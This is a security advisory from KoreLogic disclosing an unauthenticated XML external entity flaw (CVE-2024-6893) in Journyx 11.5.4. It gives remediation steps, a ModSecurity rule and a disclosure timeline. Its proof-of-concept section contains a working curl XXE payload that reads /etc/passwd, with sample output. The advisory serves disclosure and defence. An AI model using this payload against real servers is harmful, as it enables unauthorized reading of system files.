Journyx 11.5.4 XML Injection

`KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection  
  
Title: Journyx Unauthenticated XML External Entities Injection  
Advisory ID: KL-001-2024-010  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Journyx  
Affected Product: Journyx (jtime)  
Affected Version: 11.5.4  
Platform: GNU/Linux  
CWE Classification: CWE-611: Improper Restriction of XML External Entity  
Reference  
CVE ID: CVE-2024-6893  
  
  
2. Vulnerability Description  
  
The "soap_cgi.pyc" API handler allows the XML body of  
SOAP requests to contain references to external entities.  
This allows an unauthenticated attacker to read local files,  
perform server-side request forgery, and overwhelm the web  
server resources.  
  
  
3. Technical Description  
  
From an unauthenticated perspective, a user can send an HTTP  
request to the "/jtcgi/soap_cgi.pyc" endpoint. The body of the  
HTTP request is read and processed by the Journyx web server  
as XML.  
  
To process these SOAP requests, the third-party component  
"SOAPpy" is used. The built-in XML parser for "SOAPpy"  
is "xml.sax". According to the "xml.sax" documentation  
(https://docs.python.org/3/library/xml.sax.html), versions  
before 3.7.1 enable XML external entities by default. Since  
Journyx version 11.5.4 ships with python 3.6, the SOAP API  
endpoint is vulnerable.  
  
  
4. Mitigation and Remediation Recommendation  
  
The vendor reports that this issue was remediated in Journyx  
v13.0.0, which is the first wholly cloud-hosted version of  
this product.  
  
For self-hosted versions of Journyx, external entity processing  
can be disabled by editing the old bundled version of SOAPpy by  
modifying the "Parser.py" file:  
  
--- Parser.py.orig 2018-11-27 17:26:53.000000000 -0500  
+++ Parser.py 2024-06-18 10:56:01.993019226 -0400  
@@ -1036,6 +1036,10 @@  
# turn on namespace mangeling  
parser.setFeature(xml.sax.handler.feature_namespaces, 1)  
  
+ # Disallow external entities, prevent XXE  
+ parser.setFeature(xml.sax.handler.feature_external_ges, 0)  
+ parser.setFeature(xml.sax.handler.feature_external_pes, 0)  
+  
try:  
parser.parse(inpsrc)  
except xml.sax.SAXParseException as e:  
  
Additionally, if API access is not required, requests to  
/jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI  
via a ModSecurity rule like the one below:  
  
SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"  
  
  
5. Credit  
  
This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.  
  
  
6. Disclosure Timeline  
  
2024.01.31 - KoreLogic notifies Journyx support of the intention to  
report vulnerabilities discovered in the licensed,  
on-premises version of the product.  
2024.01.31 - Journyx acknowledges receipt.  
2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
vulnerability details.  
2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
2024.02.09 - Journyx responds that this vulnerability has been remediated  
in the cloud-hosted version of the product.  
2024.02.21 - KoreLogic offers to test the cloud version to confirm  
the fix; no response.  
2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
2024.07.09 - Journyx confirms version number of the remediation.  
2024.08.07 - KoreLogic public disclosure.  
  
  
7. Proof of Concept  
  
The "changeUserPassword" SOAP method will reflect the  
"username" parameter in the HTTP response if the given  
username does not exist in the Journyx database. This  
makes exploitation straight forward, as an external  
entity can be used as the value of "username" and the  
dynamic value of the entity is reflected in the page  
response.  
  
[attacker@box]$ python xxe.py --host redacted.com --port 8080  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
...  
[attacker@box]$  
  
  
[attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \  
curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM   
"'$PAYLOAD_TARGET'">]><soapenv:Envelope   
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>'   
\  
-s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user   
/{flag=1;next}/<\/faultstring>/{flag=0}flag'  
  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
...  
[attacker@box]$  
  
  
The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy  
  
`